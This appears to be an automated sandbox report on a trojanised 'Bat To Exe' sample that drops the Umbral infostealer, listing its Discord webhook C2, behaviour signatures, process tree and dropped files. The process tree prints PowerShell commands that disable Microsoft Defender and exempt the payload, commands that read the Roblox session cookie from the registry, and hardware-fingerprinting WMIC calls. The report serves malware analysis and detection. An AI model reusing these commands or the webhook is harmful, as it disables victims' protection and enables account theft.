Analysis

  • user interaction
    yes
  • max time kernel
    148s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/11/2026, 11:33

General

  • Target
    Bat To 0Exe.exe
  • Size 1005KB
  • Sample261113-nn71csty9n
  • SHA256 94509784f4e6bbe7ddcb00d09f2325cf9baec1cc80e14b5114987798aca3f191
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • umbral

Version
  • v1.3

C2
  • https://discord.com/api/webhooks/1570758573208768582/nGddHNMHIBlNIPILY45Ks6FoJQgV7Buy9G0Iyz9_TQpIJCuNut4Ev7R2HtXywOClM6LX

Signatures

  • Family: Umbral

    Umbral stealer is an open-source modular stealer written in C#.

  • Detects Umbral payload 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

    Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Bat To 0Exe.exe
    "C:\Users\Admin\AppData\Local\Temp\Bat To 0Exe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Disables automatic submission of suspicious files to Microsoft by Windows Defender
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4952
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1428
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of AdjustPrivilegeToken
        PID:744
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of AdjustPrivilegeToken
        PID:3848
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Queries system WMI classes for hardware identifiers
        • Reads the TCP/IP host and domain name from the registry
        PID:4152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4832
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • Detects videocard installed
        PID:2956
    • C:\Users\Admin\AppData\Local\Temp\Bat to Exe.exe
      "C:\Users\Admin\AppData\Local\Temp\Bat to Exe.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:3612

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 8b66640600b8c05b4af2c978d3bdb778ddc2f835ea65297e6d9e9e060a256f39
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 ad4681b1a04a894525509b5614891dd373c06da7f971296b6adb5d69ddf7b5b9
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 948B
        • SHA256 4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
        • MD5 SHA1 SHA512 TLSH

        Bat to Exe.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Bat to Exe.exe
        • Size 752KB
        • SHA256 f6f47c8fa80177328644c46370d39e1efdc49a6a9df2fa7afb4c4a72064e1459
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Umbral.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        • Size 229KB
        • SHA256 c9d64fea7aa018c20b752e22269c08102aaa8db3b4e5e73ff4e86f19dea7c507
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_2ta03343.zcz.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ta03343.zcz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3612-46-0x0000000004BA0000-0x0000000004BAA000-memory.dmp

        memory/3612-45-0x0000000004C50000-0x0000000004CE2000-memory.dmp

        memory/3612-44-0x0000000005200000-0x00000000057A4000-memory.dmp

        memory/3612-43-0x0000000004BB0000-0x0000000004C4C000-memory.dmp

        memory/3612-42-0x0000000000230000-0x00000000002F2000-memory.dmp

        memory/3612-47-0x0000000004E60000-0x0000000004EB6000-memory.dmp

        memory/3736-54-0x00000142679A0000-0x00000142679C2000-memory.dmp

        memory/4212-68-0x000001FA34B90000-0x000001FA34C06000-memory.dmp

        memory/4212-99-0x000001FA34C10000-0x000001FA34C22000-memory.dmp

        memory/4212-35-0x000001FA19940000-0x000001FA19980000-memory.dmp

        memory/4212-98-0x000001FA34B50000-0x000001FA34B5A000-memory.dmp

        memory/4212-40-0x000001FA34C40000-0x000001FA34C50000-memory.dmp

        memory/4212-70-0x000001FA34B10000-0x000001FA34B2E000-memory.dmp

        memory/4212-69-0x000001FA34D90000-0x000001FA34DE0000-memory.dmp

        memory/4868-12-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-11-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-9-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-8-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-6-0x0000000001010000-0x0000000001018000-memory.dmp

        memory/4868-0-0x00007FFB40A35000-0x00007FFB40A36000-memory.dmp

        memory/4868-7-0x000000001C2C0000-0x000000001C30C000-memory.dmp

        memory/4868-5-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-4-0x000000001C1F0000-0x000000001C28C000-memory.dmp

        memory/4868-10-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-16-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-41-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-3-0x000000001BC80000-0x000000001C14E000-memory.dmp

        memory/4868-2-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-13-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-17-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

        memory/4868-1-0x000000001B610000-0x000000001B6B6000-memory.dmp